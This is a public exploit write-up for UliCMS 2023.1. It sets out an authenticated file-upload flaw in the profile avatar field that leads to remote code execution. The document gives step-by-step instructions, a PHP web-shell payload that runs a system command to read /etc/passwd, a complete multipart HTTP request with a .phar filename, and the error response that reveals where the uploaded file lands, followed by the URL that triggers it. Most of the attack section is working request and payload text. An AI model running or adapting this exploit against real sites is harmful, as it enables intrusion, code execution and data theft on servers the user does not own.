UliCMS 2023-1 Sniffing-Vicuna Shell Upload

#Exploit Title: Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE)
#Application: Ulicms
#Version: 2023.1-sniffing-vicuna
#Bugs: RCE
#Technology: PHP
#Vendor URL: https://en.ulicms.de/
#Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
#Date of found: 04-05-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux

2. Technical Details & POC
   ========================================
   steps:

3. Login to account and edit profile.

2.Upload new Avatar

3. It is possible to include the php file with the phar extension when uploading the image. Rce is triggered when we visit it again. File upload error may occur, but this does not mean that the file is not uploaded and the file location is shown in the error

payload: <?php echo system(“cat /etc/passwd”); ?>

poc request :

POST /dist/admin/index.php HTTP/1.1
Host: localhost
Content-Length: 1982
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", “Chromium";v="108”
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: “Linux”
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYB7QS1BMMo1CXZVy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/dist/admin/index.php?action=admin_edit&id=12&ref=home
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv
Connection: close

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="csrf_token"

e2d428bc0585c06c651ca8b51b72fa58
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="sClass"

UserController
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="sMethod"

update
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="avatar"; filename="salam.phar"
Content-Type: application/octet-stream

<?php echo system(“cat /etc/passwd”); ?>

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="edit_admin"

edit_admin
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="id"

12
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="firstname"

account1
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="lastname"

account1
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="password"

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="password_repeat"

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="group_id"

1
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="secondary_groups[]"

1
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="homepage"

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="html_editor"

ckeditor
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="admin"

1
------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="default_language"

------WebKitFormBoundaryYB7QS1BMMo1CXZVy
Content-Disposition: form-data; name="about_me"

------WebKitFormBoundaryYB7QS1BMMo1CXZVy–

response:

Error
GmagickException: No decode delegate for this image format (/var/www/html/dist/content/tmp/645364e62615b.phar) in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:67
Stack trace:
#0 /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php(67): Gmagick->__construct()
#1 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open()
#2 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar()
#3 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar()
#4 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost()
#5 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand()
#6 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods()
#7 {main}

Next Imagine\Exception\RuntimeException: Unable to open image /var/www/html/dist/content/tmp/645364e62615b.phar in /var/www/html/dist/vendor/imagine/imagine/src/Gmagick/Imagine.php:73
Stack trace:
#0 /var/www/html/dist/App/non_namespaced/User.php(1110): Imagine\Gmagick\Imagine->open()
#1 /var/www/html/dist/App/non_namespaced/User.php(1089): User->processAvatar()
#2 /var/www/html/dist/content/modules/core_users/controllers/UserController.php(124): User->changeAvatar()
#3 /var/www/html/dist/App/non_namespaced/Controller.php(82): UserController->updatePost()
#4 /var/www/html/dist/App/non_namespaced/ControllerRegistry.php(67): Controller->runCommand()
#5 /var/www/html/dist/admin/index.php(66): ControllerRegistry::runMethods()
#6 {main}

4. Go to /var/www/html/dist/content/tmp/645364e62615b.phar (http://localhost/dist/content/tmp/645364e62615b.phar)